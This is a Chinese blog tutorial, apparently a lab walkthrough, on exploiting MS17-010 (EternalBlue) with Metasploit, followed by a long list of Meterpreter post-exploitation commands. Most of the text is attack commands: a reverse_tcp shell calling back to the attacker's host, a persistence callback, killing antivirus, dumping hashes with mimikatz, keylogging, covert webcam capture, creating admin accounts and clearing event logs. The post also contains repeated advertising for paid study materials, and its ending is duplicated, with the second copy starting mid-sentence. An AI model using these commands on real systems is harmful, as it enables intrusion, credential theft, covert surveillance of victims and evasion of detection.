先自我介绍一下，小编浙江大学毕业，去过华为、字节跳动等大厂，目前阿里P7
深知大多数程序员，想要提升技能，往往是自己摸索成长，但自己不成体系的自学效果低效又漫长，而且极易碰到天花板技术停滞不前！
因此收集整理了一份《2024年最新网络安全全套学习资料》，初衷也很简单，就是希望能够帮助到想自学提升又不知道该从何学起的朋友。
既有适合小白学习的零基础资料，也有适合3年以上经验的小伙伴深入学习提升的进阶课程，涵盖了95%以上网络安全知识点，真正体系化！
由于文件比较多，这里只是将部分目录截图出来，全套包含大厂面经、学习笔记、源码讲义、实战项目、大纲路线、讲解视频，并且后续会持续更新
如果你需要这些资料，可以添加V获取：vip204888 （备注网络安全）
正文
6. MS17_010(永恒之蓝)：
我们现在模拟使用 MS17_010 漏洞攻击，这个漏洞就是去年危害全球的勒索病毒利用的永恒之蓝漏洞。
6.1 查找漏洞相关模块：
1、在kali命令行里面输入命令msfconsole，进入msf框架中：
msfconsole #输入这个命令主要是进入msf渗透框架中
2、搜索MS17_010漏洞：
命令：
search ms17_010 #利用search命令，搜索漏洞相关利用模块
这里找到了四个模块，前三个是漏洞利用模块，后两个是辅助模块，主要探测主机是否存在MS17_010漏洞。
6.2 利用Auxiliary辅助探测模块对漏洞进行探测：
Auxiliary辅助探测模块：
该模块不会直接在攻击机和靶机之间建立访问，它们只负责执行扫描，嗅探，指纹识别等相关功能以辅助渗透测试。
1、使用smb_ms17_010漏洞探测模块对smb_ms17_010漏洞进行探测：
命令：
use auxiliary/scanner/smb/smb_ms17_010
2、查看这个模块需要配置的信息：
命令：
show options #查看这个模块需要配置的信息
3、设置要探测的远程目标：
注：RHOSTS 参数是要探测主机的ip或ip范围，我们探测一个ip范围内的主机是否存在漏洞
命令：
set rhosts 192.168.100.100-192.168.100.190
4、对上面设置的ip范围内的主机进行攻击：
注：有+号的就是可能存在漏洞的主机，这里有2个主机存在漏洞
命令：
exploit
6.3 使用Exploit漏洞利用模块对漏洞进行利用：
1、选择漏洞攻击模块，对漏洞进行利用：
命令：
use exploit/windows/smb/ms17_010_eternalblue
2、查看这个漏洞的信息：
命令：
info： #查看这个漏洞的信息
3、查看可攻击的系统平台，显示当前攻击模块针对哪些特定操作系统版本、语言版本的系统：
命令：
show targets
注：这里只有一个，有些其他的漏洞模块对操作系统的语言和版本要求的很严，比如MS08_067，这样就要我们指定目标系统的版本的。如果不设置的话，MSF会自动帮我们判断目标操作系统的版本和语言(利用目标系统的指纹特征)。
6.4 Payload攻击载荷模块：
攻击载荷是我们期望在目标系统在被渗透攻击之后完成的实际攻击功能的代码，成功渗透目标后，用于在目标系统上运行任意命令。
1、查看攻击载荷：
命令：
show payloads #该命令可以查看当前漏洞利用模块下可用的所有Payload
2、设置攻击载荷：
命令：
set payload windows/x64/meterpreter/reverse_tcp
3、查看模块需要配置的参数：
命令：
show options
4、设置攻击载荷参数：
命令：
set RHOST 192.168.100.158 #设置RHOST，也就是要攻击主机的ip
set LHOST 192.168.100.132 #设置LHOST，也就是我们主机的ip，用于接收从目标机弹回来的shell
set lport 6666 #设置lport，也就是我们主机的端口，反弹shell到这个端口；如果我们这里不设置lport的话，默认是4444端口监听；
5、进行攻击：
7. 后渗透阶段：
运行了exploit命令之后，我们开启了一个reverse TCP监听器来监听本地的6666端口，即我（攻击者）的本地主机地址（LHOST）和端口号（LPORT）。运行成功之后，我们将会看到命令提示符 meterpreter > 出现：
Meterpreter的命令用法：
Meterpreter > ?
==========================================
核心命令：
==========================================
命令 说明
------- ------------
? 帮助菜单
background 把当前会话挂到后台运行
bg background命令的别名
bgkill 杀死后台meterpreter 脚本
bglist 列出正在运行的后台脚本
bgrun 执行一个meterpreter脚本作为后台线程
channel 显示信息或控制活动频道
close 关闭一个频道
detach 分离Meterpreter会话（用于 http/https）
disable_unicode_encoding 禁用 unicode 字符串的编码
enable_unicode_encoding 启用 unicode 字符串的编码
exit 终止 Meterpreter 会话
get_timeouts 获取当前会话超时值
guid 获取会话 GUID
help 帮助菜单
info 显示有关 Post 模块的信息
irb 在当前会话中打开一个交互式 Ruby shell
load 加载一个或多个 Meterpreter 扩展
machine_id 获取连接到会话的机器的 MSF ID
migrate 将服务器迁移到另一个进程
pivot 管理枢轴侦听器
pry 在当前会话上打开 Pry 调试器
quit 终止 Meterpreter 会话
read 从通道读取数据
resource 运行存储在文件中的命令
run 执行一个 Meterpreter 脚本或 Post 模块
secure （重新）协商会话上的 TLV 数据包加密
sessions 快速切换到另一个会话
set_timeouts 设置当前会话超时值
sleep 强制 Meterpreter 安静，然后重新建立会话
ssl_verify 修改 SSL 证书验证设置
transport 管理运输机制
use 不推荐使用的load命令别名
uuid 获取当前会话的 UUID
write 将数据写入通道
==========================================
Stdapi：文件系统命令
==========================================
命令 说明
------- ------------
cat 将文件内容读到屏幕上
cd 切换目录
checksum 检索文件的校验和
cp 将源复制到目标
del 删除指定文件
dir 列出文件（ls 的别名）
download 下载文件或目录
edit 编辑文件
getlwd 打印本地工作目录
getwd 打印工作目录
lcd 更改本地工作目录
lls 列出本地文件
lpwd 打印本地工作目录
ls 列出文件
mkdir 制作目录
mv 将源移动到目标
pwd 打印工作目录
rm 删除指定文件
rmdir 删除目录
search 搜索文件
show_mount 列出所有挂载点/逻辑驱动器
upload 上传文件或目录
==========================================
Stdapi：网络命令
==========================================
命令 说明
------- ------------
arp 显示主机 ARP 缓存
getproxy 显示当前代理配置
ifconfig 显示界面
ipconfig 显示接口
netstat 显示网络连接
portfwd 将本地端口转发到远程服务
resolve 解析目标上的一组主机名
route 查看和修改路由表
==========================================
Stdapi：系统命令
==========================================
命令 说明
------- ------------
clearev 清除事件日志
drop_token 放弃任何活动的模拟令牌。
execute 执行命令
getenv 获取一个或多个环境变量值
getpid 获取当前进程标识符
getprivs 尝试启用当前进程可用的所有权限
getid 获取服务器运行的用户的 SID
getuid 获取服务器运行的用户
kill 终止进程
localtime 显示目标系统本地日期和时间
pgrep 按名称过滤进程
pkill 按名称终止进程
ps 列出正在运行的进程
reboot 重启远程计算机
reg 修改远程注册表并与之交互
rev2self 在远程机器上调用 RevertToSelf()
shell 放入系统命令 shell
shutdown 关闭远程计算机
steal_token 尝试从目标进程窃取模拟令牌
suspend 暂停或恢复进程列表
sysinfo 获取有关远程系统的信息，例如 OS
==========================================
Stdapi：用户界面命令
==========================================
命令 说明
------- ------------
enumdesktops 列出所有可访问的桌面和窗口站
getdesktop 获取当前的meterpreter桌面
idletime 返回远程用户空闲的秒数
keyboard_send 发送击键
keyevent 发送按键事件
keyscan_dump 转储击键缓冲区
keyscan_start 开始捕获击键
keyscan_stop 停止捕获击键
mouse 发送鼠标事件
screenshare 实时观看远程用户桌面
screenshot 抓取交互式桌面的截图
setdesktop 更改meterpreters当前桌面
uictl 控制一些用户界面组件
==========================================
Stdapi：网络摄像头命令：
==========================================
命令 说明
------- ------------
record_mic 从默认麦克风录制音频 X 秒
webcam_chat 开始视频聊天
webcam_list 列出网络摄像头
webcam_snap 从指定的网络摄像头拍摄快照
webcam_stream 从指定的网络摄像头播放视频流
==========================================
Stdapi：音频输出命令：
==========================================
命令 说明
------- ------------
play 在目标系统上播放波形音频文件 (.wav)
==========================================
Priv：权限提升命令：
==========================================
命令 说明
------- ------------
getsystem 尝试将您的权限提升到本地系统的权限。
==========================================
Priv：密码数据库命令：
==========================================
命令 说明
------- ------------
hashdump 转储 SAM 数据库的内容
==========================================
Priv：Timestomp 命令：
==========================================
命令 说明
------- ------------
timestomp 操作文件 MACE 属性
meterpreter >
我们输入： shell即可切换到目标主机的windows cmd_shell里面：
命令：
shell #获取目标主机的cmd\_shell权限
chcp 65001 #这里为了避免目标主机cmd\_shell字符乱码，设置目标主机命令行的字符编码，65001是UTF-8
要想从目标主机shell退出到meterpreter ，我们只需输入：exit:
从meterpreter退出到MSF框架:
命令：
background #把我们获得的meterpreter会话挂载到后台运行
查看前面获得的meterpreter_shell会话，最前面的数字是会话的id：
命令：
sessions -l #查看获得的meterpreter\_shell会话列表
输入sessions [id号]即可进入相应的meterpreter_shell中：
输入：shell即可进入 cmd 类型的控制，再输入：powershell，即可进入 powershell 类型的控制台:
sysinfo #查看目标主机系统信息
run scraper #查看目标主机详细信息
run hashdump #导出密码的哈希
load kiwi #加载mimikatz
ps #查看目标主机进程信息
pwd #查看目标当前目录(windows)
getlwd #查看目标当前目录(Linux)
search -f \*.jsp -d e:\ #搜索E盘中所有以.jsp为后缀的文件
download e:\test.txt /root #将目标机的e:\test.txt文件下载到/root目录下
upload /root/test.txt d:\test #将/root/test.txt上传到目标机的 d:\test\ 目录下
getpid #查看当前Meterpreter Shell的进程PID
migrate 1384 #将当前Meterpreter Shell的进程迁移到PID为1384的进程上
idletime #查看主机运行时间
getuid #查看获取的当前权限
getsystem #提权,获得的当前用户是administrator才能成功
run killav #关闭杀毒软件
screenshot #截图
webcam_list #查看目标主机的摄像头
webcam_snap #拍照
webcam_stream #开视频
execute 参数 -f 可执行文件 #执行可执行程序
run getgui -u test1 -p Abc123456 #创建test1用户，密码为Abc123456
run getgui -e #开启远程桌面
keyscan_start #开启键盘记录功能
keyscan_dump #显示捕捉到的键盘记录信息
keyscan_stop #停止键盘记录功能
uictl disable keyboard #禁止目标使用键盘
uictl enable keyboard #允许目标使用键盘
uictl disable mouse #禁止目标使用鼠标
uictl enable mouse #允许目标使用鼠标
load #使用扩展库
run #使用扩展库
run exploit/windows/local/persistence lhost=192.168.100.132 lport=8888 #会自动连接192.168.100.132的8888端口，缺点是容易被杀毒软件查杀
portfwd add -l 9999 -r 192.168.100.158 -p 3389 #将192.168.11.13的3389端口转发到本地的9999端口上，这里的192.168.100.158是获取权限的主机的ip地址
clearev #清除日志
7.1 Post 后渗透模块：
该模块主要用于在取得目标主机系统远程控制权后，进行一系列的后渗透攻击动作。
run post/windows/manage/migrate #自动进程迁移
run post/windows/gather/checkvm #查看目标主机是否运行在虚拟机上
run post/windows/manage/killav #关闭杀毒软件
run post/windows/manage/enable_rdp #开启远程桌面服务
run post/windows/manage/autoroute #查看路由信息
run post/windows/gather/enum_logged_on_users #列举当前登录的用户
run post/windows/gather/enum_applications #列举应用程序
run post/windows/gather/credentials/windows_autologin #抓取自动登录的用户名和密码
run post/windows/gather/smart_hashdump #dump出所有用户的hash
输入：sysinfo 查看目标主机的信息:
7.2 查看主机是否运行在虚拟机上:
查看主机是否运行在虚拟机上，可以看出主机是在虚拟机环境：
命令：
run post/windows/gather/checkvm
7.3 关闭杀毒软件：
拿到目标主机的shell后第一件事就是关闭掉目标主机的杀毒软件，通过命令：
run killav
7.4 获取目标主机的详细信息：
使用命令：
run scraper
它将目标机器上的常见信息收集起来然后下载保存在本地
7.5 访问文件系统：
Meterpreter支持非常多的文件系统命令（基本跟Linux系统命令类似），一些常用命令如下：
pwd #查看当前目录
cd #切换目标目录；
cat #读取文件内容；
rm #删除文件；
edit #使用vim编辑文件
ls #获取当前目录下的文件；
mkdir #新建目录；
rmdir #删除目录；
7.6 上传/下载文件：
7.6.1 下载文件：
命令：
download file #命令可以帮助我们从目标系统中下载文件
7.6.2 上传文件：
命令：
upload file #命令则能够向目标系统上传文件。
7.7 权限提升：
有的时候，你可能会发现自己的 Meterpreter 会话受到了用户权限的限制，而这将会严重影响你在目标系统中的活动。比如说，修改注册表、安装后门或导出密码等活动都需要提升用户权限，而Meterpreter给我们提供了一个 getsystem 命令，它可以使用多种技术在目标系统中实现提权。
命令：
getuid
#命令可以获取当前用户的信息，可以看到，当我们使用 getsystem进行提权后，用户身材为 NT AUTHORITY\SYSTEM ，这个也就是Windows的系统权限。
getsystem
#自动提权为系统权限
注：执行getsystem命令后，会显示错误，但是其实已经运行成功了！
7.8 获取用户密码：
7.9 运行程序：
先查看目标主机安装了哪些应用：
命令：
run post/windows/gather/enum_applications #查看目标主机安装了哪些应用
在meterpreter_shell命令行执行目标系统中的应用程序：
命令:
#execute命令用法：
execute [参数] -f 指定的可执行文件
-f：指定可执行文件
-H：创建一个隐藏进程
-a：传递给命令的参数
-i：跟进程进行交互
-m：从内存中执行
-t：使用当前伪造的线程令牌运行进程
-s：在给定会话中执行进程
7.11 屏幕截图：
1、截图目标主机屏幕，可以看到，图片被保存到了/root/桌面/目录下：
命令：
screenshot #截图目标主机屏幕
2、目标主机的屏幕截图如下：
7.12 创建一个新账号：
先查看目标主机有哪些用户：
命令：
run post/windows/gather/enum_logged_on_users #查看目标主机有用户
在目标系统中创建一个新的用户账号的方法一：
命令：
run getgui -u 用户 -p 密码
-u: 指定用户
-p: 指定密码
注：这个命令会创建用户，并把他添加到 Administrators 组中，这样该用户就拥有远程桌面的权限了。这里成功创建了用户，但是添加到Administrators组中失败了!
如果添加到Administrators组中失败了的话，我们可以运行：shell ，进入cmd窗口手动将该用户添加到administrators组中。
在目标系统中创建一个新的用户账号的方法二：
命令：
enable_rdp脚本:
run post/windows/manage/enable_rdp USERNAME=test2 PASSWORD=Abc123456 #添加用户
run post/windows/manage/enable_rdp #开启远程桌面
run post/windows/manage/enable_rdp FORWARD=true LPORT=6662 #将3389端口转发到6662
7.13 启用远程桌面：
当我们新添加的用户已经拥有远程桌面之后，我们就可以使用这个账号凭证来开启远程桌面会话了。
首先，我们需要确保目标Windows设备开启了远程桌面功能（需要开启多个服务），我们输入：run post/windows/manage/enable_rdp命令可以开启远程桌面。
在开启远程桌面会话之前，我们还需要使用idletime命令检查远程用户的空闲时长：
idletime #检查远程用户的空闲时长
开启远程桌面：
命令：
run post/windows/manage/enable_rdp
然后我们就可以使用远程桌面用我们创建的用户远程登录目标主机了。由于上一步创建的用户没有被添加到远程桌面用户组中，所以这一步就没法演示。
7.14 键盘记录：
Meterpreter还可以在目标设备上实现键盘记录功能，键盘记录主要涉及以下三种命令：
keyscan_start： #开启键盘记录功能，开关键盘记录功能后目标输入的内容我们就通过keyscan\_dump命令在Meterpreter里面进行查看；
keyscan_dump： #显示捕捉到的键盘记录信息
keyscan_stop： #停止键盘记录功能
注：在使用键盘记录功能时，通常需要跟目标进程进行绑定，接下来我们介绍如何绑定进程，然后获取该进程下的键盘记录。
7.15 进程迁移：
Meterpreter 既可以单独运行，也可以与其他进程进行绑定。因此，我们可以让Meterpreter与类似explorer.exe这样的进程进行绑定，并以此来实现持久化。
在下面的例子中，我们会将Meterpreter跟 winlogon.exe绑定，并在登录进程中捕获键盘记录，以获得用户的密码。
首先，我们需要使用：ps 命令查看目标设备中运行的进程：
我们可以使用：getpid 查看我们当前的进程id：
使用：migrate+目标进程ID命令来绑定目标进程id，可以看到通过进程迁移后，当前的Meterpreter的pid已经和 winlogon.exe一样了：
这里绑定目标pid的时候，经常会断了shell。进程迁移后会自动关闭原来Meterpreter进程，没有关闭可使用 kill pid 命令关闭进程。
或者使用自动迁移进程（run post/windows/manage/migrate）命令，系统会自动寻找合适的进程然后迁移。
7.16 禁止目标主机使用键盘鼠标：
命令：
uictl disable(enable) keyboard #禁止(允许)目标使用键盘
uictl disable(enable) mouse #禁止(允许)目标使用鼠标
7.17 用目标主机摄像头拍照：
webcam_list #获取目标系统的摄像头列表
webcam_snap #从指定的摄像头，拍摄照片
webcam_stream #从指定的摄像头，开启视频
获取目标系统的摄像头列表，可以看到目标主机有一个摄像头：
可以指定的摄像头拍摄照片，可以看到已经获得从目标主机拍摄到的照片:
开启摄像头拍摄视频，会弹出一个网页，可以查看到摄像头那端的实时录像：
写在最后
在结束之际，我想重申的是，学习并非如攀登险峻高峰，而是如滴水穿石般的持久累积。尤其当我们步入工作岗位之后，持之以恒的学习变得愈发不易，如同在茫茫大海中独自划舟，稍有松懈便可能被巨浪吞噬。然而，对于我们程序员而言，学习是生存之本，是我们在激烈市场竞争中立于不败之地的关键。一旦停止学习，我们便如同逆水行舟，不进则退，终将被时代的洪流所淘汰。因此，不断汲取新知识，不仅是对自己的提升，更是对自己的一份珍贵投资。让我们不断磨砺自己，与时代共同进步，书写属于我们的辉煌篇章。
需要完整版PDF学习资源私我
网上学习资料一大堆，但如果学到的知识不成体系，遇到问题时只是浅尝辄止，不再深入研究，那么很难做到真正的技术提升。
需要这份系统化的资料的朋友，可以添加V获取：vip204888 （备注网络安全）
一个人可以走的很快，但一群人才能走的更远！不论你是正从事IT行业的老鸟或是对IT行业感兴趣的新人，都欢迎加入我们的的圈子（技术交流、学习资源、职场吐槽、大厂内推、面试辅导），让我们一起学习成长！
像头，开启视频
获取目标系统的摄像头列表，可以看到目标主机有一个摄像头：
可以指定的摄像头拍摄照片，可以看到已经获得从目标主机拍摄到的照片:
开启摄像头拍摄视频，会弹出一个网页，可以查看到摄像头那端的实时录像：
## 写在最后
**在结束之际，我想重申的是，学习并非如攀登险峻高峰，而是如滴水穿石般的持久累积。尤其当我们步入工作岗位之后，持之以恒的学习变得愈发不易，如同在茫茫大海中独自划舟，稍有松懈便可能被巨浪吞噬。然而，对于我们程序员而言，学习是生存之本，是我们在激烈市场竞争中立于不败之地的关键。一旦停止学习，我们便如同逆水行舟，不进则退，终将被时代的洪流所淘汰。因此，不断汲取新知识，不仅是对自己的提升，更是对自己的一份珍贵投资。让我们不断磨砺自己，与时代共同进步，书写属于我们的辉煌篇章。**
需要完整版PDF学习资源私我
**网上学习资料一大堆，但如果学到的知识不成体系，遇到问题时只是浅尝辄止，不再深入研究，那么很难做到真正的技术提升。**
**需要这份系统化的资料的朋友，可以添加V获取：vip204888 （备注网络安全）**
[外链图片转存中...(img-DGmUA0S7-1713466703490)]
**一个人可以走的很快，但一群人才能走的更远！不论你是正从事IT行业的老鸟或是对IT行业感兴趣的新人，都欢迎加入我们的的圈子（技术交流、学习资源、职场吐槽、大厂内推、面试辅导），让我们一起学习成长！**
7948
被折叠的 条评论
为什么被折叠?
到【灌水乐园】发言
